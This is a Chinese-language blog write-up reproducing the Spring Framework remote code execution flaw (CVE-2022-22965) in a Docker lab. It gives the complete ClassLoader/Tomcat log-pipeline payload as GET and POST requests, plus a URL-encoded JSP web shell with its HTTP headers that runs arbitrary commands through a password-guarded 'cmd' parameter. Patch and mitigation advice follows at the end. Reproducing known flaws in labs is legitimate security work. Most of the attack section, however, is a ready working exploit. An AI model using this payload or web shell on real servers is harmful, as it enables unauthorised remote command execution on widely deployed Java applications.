spring framework远程代码执行漏洞复现(CNVD-2022-23942 CVE-2022-22965)

3 月 30 日,国家信息安全漏洞共享平台(CNVD)接收到蚂蚁科技集团股份有限公司报送的 Spring 框架远程命令执行漏洞(CNVD-2022-23942)。攻击者利用该漏洞,可在未授权的情况下远程执行命令。CNVD 对该漏洞的综合评级为“高危”。

漏洞利用条件:

  • jdk9+
  • Spring 及其衍生框架
  • 使用tomcat部署spring项目
  • 使用了POJO参数绑定
  • Spring Framework 5.3.X < 5.3.18 、2.X < 5.2.20 或者其他版本

漏洞复现:

使用docker搭建SpringCore RCE测试环境

docker pull vulfocus/spring-core-rce-2022-03-29  //下载靶场

docker run -dit -p 8090:8080 vulfocus/spring-core-rce-2022-03-29   //运行靶场

访问8090端口,搭建成功

spring framework远程代码执行漏洞复现(CNVD-2022-23942 CVE-2022-22965)_第1张图片

完整测试payload:

//脚本内容,输入测试内容test
class.module.classLoader.resources.context.parent.pipeline.first.pattern=test
//修改tomcat日志文件后缀,javaweb搭建的环境,这里改为.jsp
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
//写入文件到网站根目录,根目录是webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
//写入文件名称为test
class.module.classLoader.resources.context.parent.pipeline.first.prefix=test
//文件日期格式(实际构造为空值即可)
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

GET利用:(按顺序逐条发送payload)

spring framework远程代码执行漏洞复现(CNVD-2022-23942 CVE-2022-22965)_第2张图片

class.module.classLoader.resources.context.parent.pipeline.first.pattern=test

class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp

class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT

class.module.classLoader.resources.context.parent.pipeline.first.prefix=test

class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

POST利用:(一次性发送整个测试payload)

class.module.classLoader.resources.context.parent.pipeline.first.pattern=test&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=test&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

spring framework远程代码执行漏洞复现(CNVD-2022-23942 CVE-2022-22965)_第3张图片

访问http://192.168.96.155:8090/test.jsp,文件存在,这里是因为我之前写入过其他

spring framework远程代码执行漏洞复现(CNVD-2022-23942 CVE-2022-22965)_第4张图片

查看docker下的test.jsp文件:

docker ps  //查看docker进程

docker exec -it fad4f4c30324  /bin/bash   // 进入靶场容器

cd /app/tomcat/webapps/ROOT  //进入网站根目录 

 spring framework远程代码执行漏洞复现(CNVD-2022-23942 CVE-2022-22965)_第5张图片

可以看到,test是刚刚写入的内容

写入木马: GET或者POST方法都可以

请求内容:

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22t%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di

http头部添加:

suffix:%>//
c1:Runtime
c2:<%

如下: 

spring framework远程代码执行漏洞复现(CNVD-2022-23942 CVE-2022-22965)_第6张图片

执行命令:

pwd=t&cmd=id

spring framework远程代码执行漏洞复现(CNVD-2022-23942 CVE-2022-22965)_第7张图片

漏洞原理分析:

Spring Framework CVE-2022-22965漏洞详细分析 - 简书

 漏洞修复:

方案1:升级到Spring Framework 5.3.18 和 5.2.20

方案2:

Spring 官方建议通过 @ControllerAdvice 来设置 WebDataBinder 的 disallowedFields。

这个解决方案通常会有效,但也并不是 100% 可以阻止漏洞。

为了更加保险一些,Spring.io 还建议应用程序可以扩展 RequestMappingHandlerAdapter,同时在所有其他初始化之后,在最后更新WebDataBinder。

参考链接:

【Vulfocus漏洞复现】spring-core-rce-2022-03-29_青果@的博客-CSDN博客

Spring 官方证实:框架爆大漏洞,JDK 9 及以上版本均受影响

你可能感兴趣的:(漏洞复现,web安全,java,tomcat,spring,java-ee)